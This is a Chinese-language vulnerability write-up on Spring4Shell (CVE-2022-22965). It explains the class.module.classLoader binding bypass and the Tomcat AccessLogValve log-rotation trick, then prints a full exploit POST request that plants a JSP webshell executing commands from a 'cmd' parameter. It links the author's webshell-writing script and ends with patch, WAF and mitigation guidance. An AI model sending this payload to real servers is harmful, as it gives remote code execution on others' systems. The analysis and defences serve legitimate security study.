Spring Framework RCE(CVE-2022-22965)
利用环境
- war包
- https://github.com/fengguangbin/spring-rce-war
- docker环境
- https://github.com/lunasec-io/Spring4Shell-POC
- https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
- 在线环境
- http://vulfocus.io
漏洞原理
简答来说就是参数绑定造成的变量覆盖漏洞,漏洞点spring-beans包中。
Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量,通过 ClassLoader构造恶意请求获取AccessLogValue 对象并注入恶意字段值,来更改 Tomcat 服务器的日志记录属性触发 pipeline 机制写入任意路径下的文件。
CVE-2010-1622
这个漏洞其实就是CVE-2010-1622的绕过,CVE-2010-1622可以参考Ruilin大佬写的
http://rui0.cn/archives/1158
简单来说就是可以获取到Classloader,而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader
这个Tomcat专属的ClassLoader当中。
那么,我们就可以通过person.getClass().getClassLoader().getXXX()修改ParallelWebappClassLoader中的一些属性来修改Tomcat的配置项。也就是后面的利用:tomcat AccessLogValue,这里先不讲。
Spring对这个漏洞的修复方式,就是通过黑名单的方式,增加了if语句来检查用户输入。
这个if语句的意思就是,当发现当前的对象是一个Class,然后又在获取其classLoader属性,则直接跳过。这样就断了之间的class.classLoader这条链。
至于为什么现在又绕过了,其实看payload就能看出端倪
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader
这个module是什么,其实就是jdk9开始引入的模块系统(这也说明了为什么这个漏洞的影响范围是jdk9+)
https://juejin.cn/post/6844903501311524871
module存在getClassLoader()方法,正好用来写一条新的链
之前的链
class.classLoader.resources.context.parent.pipeline.first.pattern
现在
class.module.classLoader.resources.context.parent.pipeline.first.pattern
其实就只是module链点的增加导致了了官方的黑名单防御被绕过
tomcat AccessLogValue
这个利用手法在strust2上的ClassLoader 漏洞 (CVE-2014-0094) 上早就出现过
https://www.exploit-db.com/exploits/33142
利用了 Tomcat 使用的ClassLoader
该漏洞通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件
https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html
主要利用字段
directory | 将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。 |
---|---|
prefix | 添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。 |
suffix | 添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。 |
fileDateFormat | 允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会旋转。默认值为.yyyy-MM-dd 。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH 。日期格式将始终使用 locale 进行本地化en_US 。 |
pattern | 一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 common 单词combined 。有关配置此属性的更多信息,请参见下文。 |
POC中class.classLoader.resources.context.parent.pipeline.first这个属性实际是org.apache.catalina.valves.AccessLogValve,在conf/server.xml里面有一段相关的配置:
为何修改了dataformat会触发切换日志呢?注意下面一个属性,默认是true
.class.classLoader.resources.context.parent.pipeline.first.rotatable
每次Log时,都会调用rotate:
publicvoid log(CharArrayWriter message) {rotate();…
而rotate是检查当前的systime 经过format后,与当前的tsDate是否相同。如果日期不同了,自然需要切换日志文件了:
public void rotate(){
if (this.rotatable){
long systime =System.currentTimeMillis();
if (systime - this.rotationLastChecked> 1000L)
synchronized (this){
if (systime -this.rotationLastChecked > 1000L){
this.rotationLastChecked = systime;
String tsDate =this.fileDateFormatter.format(new Date(systime));
if (!this.dateStamp.equals(tsDate)){
close(true);
this.dateStamp = tsDate;
open();
}
}
}
}
}
所以修改了dateFormat,就触发了日志切换。这是由tomcat代码决定的。在linux与windows下证实该问题均存在。
漏洞复现
payload
POST /index HTTP/1.1
Host: 192.168.137.222:8077
Content-Type: application/x-www-form-urlencoded
Accept: */*
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 494
suffix: %>
prefix: <%Runtime
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameger%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=C%3a%2Ftmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=6right&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
%不能够出现,需要使用占位符替换,占位符是什么?
pattern参数自定义请求头
AccessLogValve还支持写入信息传入或传出标头、cookie、会话或请求属性和特殊时间戳格式。它以 Apache HTTP Server日志配置语法为模型。xxx
它们中的每一个都可以使用不同的键 多次使用:
- %{xxx}i 请求headers的信息
- %{xxx}o 响应headers的信息
- %{xxx}c 请求cookie的信息
- %{xxx}r xxx是ServletRequest的一个属性
- %{xxx}s xxx是HttpSession的一个属性
所以我们可以通过日志的配置语法来进行占位符写入%
利用脚本编写
问题一
日志的机制,初次写入之后不能改变写入文件名称以及内容路径,且每次访问都会追加一次内容
解决
- 写入webshell加上<!–注释后面的内容
- 执行内容为写入内容到其他文件中
根本解决:修改dataformat可以触发切换日志,是tomcat日志决定的
问题二
写入内容不能存在%,会变成三个问号
解决
使用占位符解决
持久化利用
写入内存马?(没去实现)
脚本实现
- 漏洞探测
- 写入冰蝎马
- 自定义写入文件名称及路径
- 不会追加写入到同一文件中
脚本github地址,记得给个☆
https://github.com/liangyueliangyue/spring-core-rce
官方修复
- https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
可以看到,这次官方不在采用黑名单的形式去防御(不然继续过滤module,以后更新还有modulf , modulg等等,就天天打补丁了),而是采用白名单,当beanClass是class.Class时,只允许添加name属性。并且如果属性是ClassLoader
和 ProtectionDomain
,会被忽略。
waf防御
对“class.”“Class.”“.class.”“.Class.”等字符串,部署规则进行过滤
临时修复
需同时按以下两个步骤进行漏洞的临时修复:
- 在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class. “,”. class.”, “.Class.”}。 (注:如果此代码片段使用较多,需要每个地方都追加)
- 在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller 所在的包中添加).完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class GlobalControllerAdvice{
@InitBinder
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"};
dataBinder.setDisallowedFields(abd);
}
}
后记
这次的spring漏洞传的沸沸扬扬,最后的结果却是雷声大雨点小。当前确定的spring 框架漏洞前置条件比较苛刻,影响范围并不大,并不能做到比肩log4j
目前来看后续的利用只能围绕classLoader去进行深入挖掘。